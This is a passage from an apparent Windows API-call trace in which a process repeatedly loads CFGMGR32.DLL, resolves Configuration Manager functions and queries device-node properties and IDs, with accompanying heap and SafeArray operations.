0x7ffb1cef46e0 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.791] malloc (_Size=0x18) returned 0x20abc281f60 [0233.791] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x23, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0233.791] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x471e1cd2, dwHighDateTime=0x1d9eb0c)) [0233.792] SetEvent (hEvent=0x248) returned 1 [0233.796] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.800] malloc (_Size=0x18) returned 0x20abc281c60 [0233.800] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x23, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0233.800] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x471e1cd2, dwHighDateTime=0x1d9eb0c)) [0233.800] SetEvent (hEvent=0x248) returned 1 [0233.804] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.804] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.807] malloc (_Size=0x18) returned 0x20abc281b20 [0233.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0233.808] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47207d6a, dwHighDateTime=0x1d9eb0c)) [0233.808] SetEvent (hEvent=0x248) returned 1 [0233.813] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.814] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.817] malloc (_Size=0x18) returned 0x20abc281fc0 [0233.817] CM_Get_Device_IDA (in: dnDevInst=0x24, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.1.00000000}.{A057BBB1-BD0A-493A-99E1-CA6410C7F4E2}") returned 0x0 [0233.817] malloc (_Size=0x48) returned 0x20abc27cb20 [0233.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x47207d6a, dwHighDateTime=0x1d9eb0c)) [0233.817] SetEvent (hEvent=0x248) returned 1 [0234.231] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.231] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.234] malloc (_Size=0x18) returned 0x20abc281fc0 [0234.235] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0234.235] malloc (_Size=0x32) returned 0x20abc281650 [0234.235] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8) returned 0x0 [0234.236] free (_Block=0x20abc281650) [0234.236] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4760de3d, dwHighDateTime=0x1d9eb0c)) [0234.236] SetEvent (hEvent=0x248) returned 1 [0234.239] malloc (_Size=0x18) returned 0x20abc281e40 [0234.240] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.240] free (_Block=0x20abc281e40) [0234.240] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d370 [0234.240] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.240] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0234.240] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0234.240] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0234.240] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.240] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0234.240] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0234.241] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0234.241] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.242] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0234.242] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d370) returned 1 [0234.243] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.243] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.246] malloc (_Size=0x18) returned 0x20abc281ac0 [0234.246] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0234.247] malloc (_Size=0x62) returned 0x20abc2807d0 [0234.247] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0234.248] free (_Block=0x20abc2807d0) [0234.248] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x47633ee8, dwHighDateTime=0x1d9eb0c)) [0234.248] SetEvent (hEvent=0x248) returned 1 [0234.251] malloc (_Size=0x18) returned 0x20abc2820e0 [0234.251] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.251] free (_Block=0x20abc2820e0) [0234.251] malloc (_Size=0x18) returned 0x20abc281b20 [0234.251] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.251] free (_Block=0x20abc281b20) [0234.251] malloc (_Size=0x18) returned 0x20abc281f20 [0234.251] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0234.251] free (_Block=0x20abc281f20) [0234.251] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0234.251] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.251] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0234.251] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0234.251] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0234.251] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.252] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0234.252] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0234.252] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0234.252] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.252] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.253] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.253] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0234.253] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0234.254] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.254] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.258] malloc (_Size=0x18) returned 0x20abc281b60 [0234.258] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.262] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4765a41f, dwHighDateTime=0x1d9eb0c)) [0234.263] SetEvent (hEvent=0x248) returned 1 [0234.270] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.271] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.367] GetProcAddress (hModule=0x7ffb1ced0000, 